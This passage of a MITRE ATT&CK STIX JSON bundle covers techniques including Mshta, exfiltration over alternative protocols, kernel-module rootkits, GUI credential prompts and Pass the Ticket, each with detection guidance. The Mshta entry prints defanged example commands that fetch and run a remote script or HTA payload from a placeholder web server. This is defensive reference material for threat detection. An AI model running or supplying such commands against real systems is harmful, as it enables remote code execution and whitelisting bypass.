            "x_mitre_detection": "Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "SaaS",
                "Network Devices",
                "Containers",
                "Office Suite",
                "Identity Provider",
                "ESXi"
            ],
            "x_mitre_version": "2.8",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Active Directory: Active Directory Object Modification",
                "File: File Modification",
                "Group: Group Modification",
                "User Account: User Account Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1170",
                    "external_id": "T1170"
                },
                {
                    "source_name": "Wikipedia HTML Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTML_Application"
                },
                {
                    "source_name": "MSDN HTML Applications",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
                },
                {
                    "source_name": "Red Canary HTA Abuse Part Deux",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
                },
                {
                    "source_name": "FireEye Attacks Leveraging HTA",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
                },
                {
                    "source_name": "Airbus Security Kovter Analysis",
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                    "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "LOLBAS Mshta",
                    "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:56.566Z",
            "name": "Mshta",
            "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ricardo Dias",
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "created": "2017-05-31T21:30:44.720Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1048",
                    "external_id": "T1048"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:54.894Z",
            "name": "Exfiltration Over Alternative Protocol",
            "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.  \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain",
                "Alfredo Abarca"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS",
                "IaaS",
                "Network Devices",
                "Office Suite",
                "ESXi"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Cloud Storage: Cloud Storage Access",
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content",
                "File: File Access",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6",
            "created": "2020-01-24T17:42:23.339Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/006",
                    "external_id": "T1547.006"
                },
                {
                    "source_name": "Apple Developer Configuration Profile",
                    "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.",
                    "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf"
                },
                {
                    "source_name": "Apple Kernel Extension Deprecation",
                    "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.",
                    "url": "https://developer.apple.com/support/kernel-extensions/"
                },
                {
                    "source_name": "System and kernel extensions in macOS",
                    "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022.",
                    "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web"
                },
                {
                    "source_name": "GitHub Reptile",
                    "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
                    "url": "https://github.com/f0rb1dd3n/Reptile"
                },
                {
                    "source_name": "Volatility Phalanx2",
                    "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
                    "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html"
                },
                {
                    "source_name": "iDefense Rootkit Overview",
                    "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.",
                    "url": "https://www.megasecurity.org/papers/Rootkits.pdf"
                },
                {
                    "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
                    "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved November 17, 2024.",
                    "url": "https://tldp.org/HOWTO/Module-HOWTO/x197.html"
                },
                {
                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
                },
                {
                    "source_name": "GitHub Diamorphine",
                    "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
                    "url": "https://github.com/m0nad/Diamorphine"
                },
                {
                    "source_name": "Securelist Ventir",
                    "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.",
                    "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/"
                },
                {
                    "source_name": "User Approved Kernel Extension Pike\u2019s",
                    "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021.",
                    "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/"
                },
                {
                    "source_name": "Linux Kernel Module Programming Guide",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved November 17, 2024.",
                    "url": "https://tldp.org/LDP/lkmpg/2.4/html/x437.html"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "Trend Micro Skidmap",
                    "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"
                },
                {
                    "source_name": "Purves Kextpocalypse 2",
                    "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.",
                    "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/"
                },
                {
                    "source_name": "RSAC 2015 San Francisco Patrick Wardle",
                    "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Synack Secure Kernel Extension Broken",
                    "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved November 17, 2024.",
                    "url": "https://objective-see.org/blog/blog_0x21.html"
                },
                {
                    "source_name": "Wikipedia Loadable Kernel Module",
                    "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:54.982Z",
            "name": "Kernel Modules and Extensions",
            "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
                "Wayne Silva, F-Secure Countercept",
                "Anastasios Pingios",
                "Jeremy Galloway",
                "Red Canary",
                "Eric Kaiser @ideologysec"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: <code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\n\nOn macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, <code>/var/db/SystemPolicyConfiguration/KextPolicy</code>.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Linux"
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Command: Command Execution",
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                "File: File Modification",
                "Kernel: Kernel Module Load",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "created": "2020-02-11T18:58:45.908Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1056/002",
                    "external_id": "T1056.002"
                },
                {
                    "source_name": "LogRhythm Do You Trust Oct 2014",
                    "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.",
                    "url": "https://logrhythm.com/blog/do-you-trust-your-computer/"
                },
                {
                    "source_name": "Spoofing credential dialogs",
                    "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.",
                    "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "Enigma Phishing for Credentials Jan 2015",
                    "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.",
                    "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"
                },
                {
                    "source_name": "OSX Malware Exploits MacKeeper",
                    "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
                    "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
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            "modified": "2025-04-15T22:37:16.582Z",
            "name": "GUI Input Capture",
            "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
                "Matthew Molyett, @s1air, Cisco Talos"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "Command: Command Execution",
                "Process: Process Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
            "created": "2017-05-31T21:31:11.623Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1097",
                    "external_id": "T1097"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/645.html",
                    "external_id": "CAPEC-645"
                },
                {
                    "source_name": "ADSecurity AD Kerberos Attacks",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "url": "https://adsecurity.org/?p=556"
                },
                {
                    "source_name": "GentilKiwi Pass the Ticket",
                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                },
                {
                    "source_name": "Campbell 2014",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
                    "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
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            "modified": "2025-04-25T15:15:56.980Z",
            "name": "Pass the Ticket",
            "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ryan Becwar",
                "Vincent Le Toux"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
            "created": "2020-10-01T02:08:33.977Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/002",
                    "external_id": "T1588.002"
                },
                {
                    "source_name": "Analyzing CS Dec 2020",
                    "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
                    "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
                },
                {
                    "source_name": "Recorded Future Beacon 2019",
                    "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers"
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            "modified": "2025-04-15T23:16:21.007Z",
            "name": "Tool",
            "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "SOCCRATES",
                "Mnemonic AS"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Malware Repository: Malware Metadata"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
            "created": "2020-03-11T13:50:11.467Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
